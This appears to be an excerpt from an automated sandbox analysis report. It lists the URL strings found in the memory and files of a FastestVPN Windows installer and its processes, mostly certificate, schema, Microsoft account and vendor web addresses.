    Source: is-3IEGE.tmp.2.drString found in binary or memory: http://etherx.jabber.org/streams
    Source: svchost.exe, 00000022.00000003.1938932678.00000296AE5B0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.drString found in binary or memory: http://ip-api.com/json
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://james.newtonking.com/projects/json
    Source: powershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://ocsp.comodoca.com0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757433218.000000000ACED000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2718141562.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-2MRML.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, fastestvpndriver.sys.30.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0A
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-2MRML.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://ocsp.digicert.com0C
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://ocsp.digicert.com0H
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://ocsp.digicert.com0I
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-2MRML.tmp.2.dr, is-NJEU5.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0O
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0X
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://ocsp.entrust.net00
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://ocsp.entrust.net01
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://ocsp.entrust.net03
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://ocsp.sectigo.com0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://ocsp.sectigo.com0.
    Source: mnFHs2DuKg.exeString found in binary or memory: http://ocsps.ssl.com0
    Source: mnFHs2DuKg.exeString found in binary or memory: http://ocsps.ssl.com0?
    Source: svchost.exe, 0000002A.00000002.2723539065.000001B241A6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://passport.net/tb
    Source: powershell.exe, 00000020.00000002.1970402317.0000000004E52000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/System.ServiceProcess
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/System.ServiceProcessd
    Source: svchost.exe, 0000002A.00000002.2722501840.000001B241500000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.mi
    Source: FastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
    Source: svchost.exe, 0000002A.00000002.2721032224.000001B240C13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
    Source: svchost.exe, 0000002A.00000002.2722700288.000001B24156D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policye.srf
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyn
    Source: svchost.exe, 0000002A.00000002.2722551191.000001B241513000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722700288.000001B24155F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scstm
    Source: svchost.exe, 0000002A.00000002.2722700288.000001B24155F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scult
    Source: svchost.exe, 0000002A.00000002.2722551191.000001B241513000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2007072587.000001B24155C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722700288.000001B24155F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
    Source: svchost.exe, 0000002A.00000002.2722013145.000001B240CC1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2007072587.000001B24155C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
    Source: svchost.exe, 0000002A.00000002.2722700288.000001B24156D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
    Source: FastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.1970402317.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.00000000015E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
    Source: FastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000026.00000002.2049372193.0000000005192000.00000002.00000001.01000000.00000027.sdmpString found in binary or memory: http://signalr.net/
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://temp.com
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://temp.com/
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2747533221.00000000059C2000.00000002.00000001.01000000.0000001A.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000002AD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://wpfanimatedgif.codeplex.com
    Source: powershell.exe, 00000020.00000002.1970402317.0000000004E52000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
    Source: FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.datev.de/zertifikat-policy-std0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757433218.000000000ACED000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2718141562.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-2MRML.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://www.digicert.com/CPS0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://www.entrust.net/rpa0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://www.entrust.net/rpa03
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743622334.000000000566A000.00000002.00000001.01000000.00000019.sdmp, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmpString found in binary or memory: http://www.hardcodet.net/projects/wpf-notifyicon
    Source: FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000002AD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.hardcodet.net/taskbar
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.istool.org/
    Source: mnFHs2DuKg.exeString found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
    Source: mnFHs2DuKg.exeString found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.w3.o
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1975015650.000001B241556000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B24152C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
    Source: svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80600
    Source: svchost.exe, 0000002A.00000003.1975015650.000001B241556000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80601
    Source: svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80603
    Source: svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80604
    Source: svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80605
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600e
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974546156.000001B241557000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/msangcwam
    Source: powershell.exe, 00000020.00000002.1970402317.0000000004D01000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://api.fastestvpn.com//v2/chat
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.drString found in binary or memory: https://api.fastestvpn.com/v2
    Source: powershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
    Source: powershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
    Source: powershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/about
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/buy-vpn
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/buy-vpn?device=windows
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/faq?device=windows
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/password/reset
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/privacy-policy
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpString found in binary or memory: https://fastestvpn.com/terms-of-service?device=windows
    Source: FastestVPN.exeString found in binary or memory: https://fastestvpn.com/upgrade?t=ndelyNN7yduAc
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2742939805.0000000005472000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://fastestvpn.com/upgrade?t=ndelyNN7yduAc5Enjoy
    Source: svchost.exe, 00000022.00000003.1938932678.00000296AE621000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
    Source: svchost.exe, 00000022.00000003.1938932678.00000296AE5B0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
